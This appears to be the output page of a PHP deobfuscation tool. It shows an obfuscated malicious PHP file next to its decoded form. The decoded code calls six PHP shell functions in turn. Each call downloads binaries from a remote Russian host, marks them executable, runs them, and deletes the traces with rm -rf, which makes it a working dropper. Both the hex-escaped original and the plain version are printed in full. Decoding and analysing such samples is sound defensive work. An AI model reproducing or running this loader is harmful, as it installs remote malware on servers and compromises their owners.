Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php exec("w\x67\x65t \x68\x74tp://n\x6f.asc.\x72u/\x2ewp/\x78\x36\x34x;cur\x6c\x20-\x4f\..

Decoded Output download

<?php exec("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");shell_exec("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");system("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");passthru("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");popen("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");pcntl_exec("wget http://no.asc.ru/.wp/x64x;curl -O http://no.asc.ru/.wp/x64x;lwp-download http://no.asc.ru/.wp/x64x;chmod +x x64x;sed -i -e 's/
\$//' x64x;./x64x;rm -rf x64x;rm -rf x64x.1;rm -rf x64x.2;rm -rf x64x.3;rm -rf x64x*");exec("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");shell_exec("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");system("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");passthru("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");popen("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");pcntl_exec("wget http://no.asc.ru/.wp/bx64;curl -O http://no.asc.ru/.wp/bx64;lwp-download http://no.asc.ru/.wp/bx64;chmod +x bx64;perl bx64;rm -rf bx64*;rm -rf bx64.1;rm -rf bx64.3;rm -rf bx64*");exit; 
?>

Did this file decode correctly?

Original Code

<?php exec("w\x67\x65t \x68\x74tp://n\x6f.asc.\x72u/\x2ewp/\x78\x36\x34x;cur\x6c\x20-\x4f\x20h\x74\x74p://n\x6f.a\x73c.\x72u/\x2e\x77\x70/x\x364x;lwp-\x64own\x6coa\x64 \x68ttp://\x6e\x6f\x2e\x61\x73c\x2e\x72u/.\x77\x70/\x78\x364\x78\x3b\x63h\x6d\x6f\x64\x20+x\x20x\x36\x34x;\x73ed -\x69\x20-\x65\x20\x27s/\r\$//\x27 \x78\x36\x34\x78;./x64\x78;rm\x20-r\x66 x\x364x\x3br\x6d\x20-r\x66 \x786\x34\x78\x2e1\x3br\x6d -\x72f x\x364\x78\x2e\x32\x3br\x6d -\x72\x66\x20x64x\x2e3;\x72m\x20-rf x\x364\x78*");shell_exec("wg\x65\x74 \x68tt\x70://no\x2eas\x63\x2e\x72\x75/\x2ew\x70/x\x36\x34\x78\x3b\x63\x75rl -\x4f \x68\x74\x74\x70://\x6eo\x2e\x61\x73\x63.\x72\x75/\x2ew\x70/x6\x34x\x3blwp-downlo\x61\x64 \x68tt\x70://\x6e\x6f.asc\x2e\x72u/.\x77p/\x7864x\x3bc\x68mo\x64 +x\x20\x7864\x78;se\x64 -i -e \x27s/\r\$//\x27 x\x364x;\x2e/x6\x34x;rm\x20-rf x\x364\x78;rm\x20-r\x66\x20\x78\x36\x34x\x2e\x31\x3b\x72\x6d -\x72f\x20x64x.\x32;rm\x20-\x72f x\x364x.3;\x72\x6d -\x72f \x7864x*");system("wget\x20\x68tt\x70://\x6e\x6f\x2easc.\x72\x75/\x2ew\x70/x6\x34\x78;c\x75rl -O ht\x74p://\x6eo\x2e\x61\x73c\x2e\x72u/.wp/\x78\x36\x34\x78\x3bl\x77p-downl\x6fa\x64\x20\x68t\x74\x70://no\x2ea\x73c.\x72\x75/\x2ewp/\x7864\x78;\x63hm\x6f\x64 +x \x786\x34\x78\x3b\x73e\x64 -i -e\x20\x27s/\r\$//\x27 x6\x34x;./\x78\x36\x34\x78;r\x6d -\x72\x66\x20x\x36\x34\x78;r\x6d -\x72f\x20\x78\x36\x34x\x2e\x31;\x72\x6d\x20-\x72\x66 \x78\x364x.2\x3brm -\x72f \x786\x34\x78\x2e\x33\x3b\x72\x6d\x20-r\x66 \x78\x364x*");passthru("wg\x65t h\x74t\x70://\x6eo\x2eas\x63.r\x75/\x2e\x77\x70/x\x36\x34x\x3b\x63ur\x6c -\x4f\x20\x68t\x74p://n\x6f.\x61s\x63\x2eru/\x2e\x77\x70/\x78\x364\x78\x3b\x6cwp-dow\x6elo\x61d \x68tt\x70://no.\x61\x73\x63\x2er\x75/.w\x70/x6\x34x\x3b\x63\x68m\x6f\x64 +\x78\x20\x786\x34x\x3bse\x64 -i\x20-e 's/\r\$//\x27 \x786\x34x;./\x78\x36\x34\x78;r\x6d -\x72f\x20x64x\x3brm\x20-r\x66\x20\x786\x34\x78.\x31;rm -r\x66 x64x.\x32\x3brm -rf x64x\x2e3\x3b\x72m -\x72\x66\x20x\x36\x34x*");popen("w\x67e\x74 \x68\x74\x74\x70://\x6eo\x2e\x61\x73\x63.r\x75/.wp/\x7864\x78;\x63ur\x6c -O\x20\x68\x74t\x70://\x6e\x6f\x2easc.r\x75/.\x77p/x6\x34x;\x6c\x77\x70-\x64o\x77nl\x6fa\x64 ht\x74\x70://no\x2eas\x63.ru/\x2ewp/x64\x78;chmod +x\x20x\x36\x34\x78\x3bsed -i -e\x20's/\r\$//\x27\x20\x7864x;./x\x364x;rm -rf \x78\x36\x34\x78\x3b\x72m\x20-rf x\x364x.1\x3b\x72m\x20-\x72f\x20\x78\x36\x34x\x2e2;rm\x20-\x72\x66\x20\x78\x364x\x2e\x33\x3brm\x20-r\x66 \x78\x36\x34x*");pcntl_exec("wget\x20h\x74\x74p://\x6eo\x2easc\x2er\x75/.\x77p/\x786\x34\x78\x3b\x63\x75\x72l -O ht\x74p://no.\x61\x73\x63.\x72\x75/\x2e\x77p/\x7864\x78;\x6cw\x70-\x64\x6f\x77nl\x6fad\x20ht\x74\x70://n\x6f\x2e\x61\x73c.\x72\x75/.\x77p/\x78\x36\x34x;chmo\x64 +x x64\x78\x3b\x73ed -i\x20-e\x20\x27\x73/\r\$//' \x7864\x78\x3b./x6\x34x\x3b\x72m\x20-rf\x20x\x364\x78\x3brm -\x72f\x20x6\x34\x78\x2e1;rm\x20-r\x66\x20x\x364x\x2e2\x3brm\x20-r\x66 x\x364\x78.3;\x72\x6d\x20-\x72f x64\x78*");exec("\x77get http://\x6eo\x2easc.\x72u/\x2e\x77p/\x62\x78\x36\x34\x3bcurl -\x4f \x68ttp://\x6eo.as\x63\x2e\x72\x75/.\x77p/\x62\x78\x364\x3b\x6cwp-dow\x6eloa\x64\x20ht\x74\x70://\x6e\x6f\x2e\x61\x73\x63.\x72\x75/.w\x70/\x62x\x364;\x63h\x6d\x6f\x64 +\x78\x20\x62x6\x34;p\x65\x72\x6c \x62\x786\x34\x3brm -rf\x20bx\x364*;\x72m -rf \x62x64\x3br\x6d\x20-rf\x20bx6\x34\x2e\x31\x3brm -\x72f \x62x\x36\x34.\x33;\x72m\x20-r\x66 b\x786\x34*");shell_exec("w\x67\x65\x74 \x68t\x74\x70://n\x6f\x2ea\x73\x63\x2e\x72u/.w\x70/bx6\x34;\x63u\x72l -O h\x74\x74\x70://n\x6f.a\x73c.r\x75/.\x77\x70/bx64\x3b\x6c\x77p-\x64ow\x6eload \x68t\x74\x70://\x6eo.\x61\x73c\x2e\x72\x75/.\x77\x70/\x62x64;chm\x6f\x64\x20+\x78 \x62\x7864;\x70\x65\x72l b\x78\x364;\x72m -r\x66\x20b\x786\x34*\x3br\x6d\x20-rf\x20\x62\x78\x364;rm -rf bx64\x2e\x31;\x72m -r\x66 \x62\x7864\x2e\x33;r\x6d\x20-\x72\x66 \x62\x78\x36\x34*");system("wge\x74 ht\x74\x70://\x6e\x6f\x2e\x61sc\x2eru/\x2e\x77p/b\x7864\x3b\x63\x75r\x6c -\x4f htt\x70://\x6e\x6f\x2e\x61\x73c\x2er\x75/\x2e\x77\x70/b\x78\x36\x34;l\x77p-\x64o\x77nlo\x61d http://no.\x61\x73c\x2eru/\x2e\x77p/\x62x\x36\x34;ch\x6d\x6fd +\x78\x20b\x7864;p\x65\x72l \x62x\x36\x34;rm -rf\x20bx\x364*\x3b\x72m -r\x66 \x62x64\x3b\x72m\x20-\x72\x66 bx\x364\x2e1\x3br\x6d -rf bx6\x34.3\x3br\x6d\x20-rf b\x78\x364*");passthru("\x77\x67\x65\x74\x20h\x74\x74\x70://\x6eo\x2e\x61\x73c.\x72u/\x2ewp/bx\x364;c\x75\x72\x6c -O \x68\x74\x74\x70://\x6eo\x2e\x61sc.\x72\x75/\x2e\x77p/\x62\x78\x36\x34;l\x77p-\x64\x6fw\x6el\x6fa\x64\x20\x68\x74t\x70://n\x6f.\x61\x73\x63\x2e\x72\x75/.\x77p/\x62x64\x3b\x63hm\x6fd\x20+\x78 b\x7864\x3bp\x65\x72l\x20\x62x6\x34\x3b\x72\x6d -r\x66\x20\x62x6\x34*\x3b\x72m\x20-\x72\x66\x20bx\x364;r\x6d\x20-\x72\x66 \x62\x78\x364\x2e1;\x72\x6d\x20-\x72\x66 \x62\x78\x364.3;rm -\x72f\x20\x62\x786\x34*");popen("wge\x74 \x68\x74\x74\x70://\x6eo.asc\x2er\x75/\x2e\x77\x70/\x62x\x36\x34;cur\x6c\x20-\x4f\x20\x68tt\x70://n\x6f.\x61s\x63.\x72\x75/\x2e\x77\x70/bx\x36\x34;\x6c\x77p-\x64own\x6co\x61d\x20\x68tt\x70://\x6e\x6f.\x61\x73\x63\x2e\x72u/.\x77p/\x62x6\x34;\x63hm\x6f\x64\x20+x\x20\x62x\x364;\x70\x65r\x6c \x62x6\x34;\x72m -r\x66 \x62\x78\x364*\x3b\x72\x6d -rf bx6\x34\x3br\x6d\x20-\x72f bx64\x2e1;\x72\x6d -\x72f \x62\x786\x34\x2e3\x3b\x72m\x20-r\x66 \x62\x78\x364*");pcntl_exec("w\x67\x65\x74\x20\x68\x74\x74p://\x6eo.\x61\x73\x63.r\x75/\x2e\x77p/\x62\x7864;\x63url\x20-O \x68\x74t\x70://\x6eo.\x61\x73\x63.\x72\x75/\x2e\x77p/b\x78\x36\x34\x3b\x6cw\x70-\x64\x6fw\x6eload\x20ht\x74\x70://\x6e\x6f\x2ea\x73\x63.\x72u/.wp/bx6\x34\x3b\x63hmo\x64 +x \x62x64\x3b\x70erl\x20\x62x\x36\x34\x3br\x6d\x20-r\x66 \x62\x786\x34*;\x72m\x20-r\x66 \x62x\x364\x2e\x31;\x72m -r\x66 \x62x\x36\x34.\x33\x3b\x72\x6d\x20-\x72f\x20\x62x64*");exit;
?>

Function Calls

exec 1

Variables

None

Stats

MD5 0c40c93ec12ca5a2267ac2bb80c0a63b
Eval Count 0
Decode Time 110 ms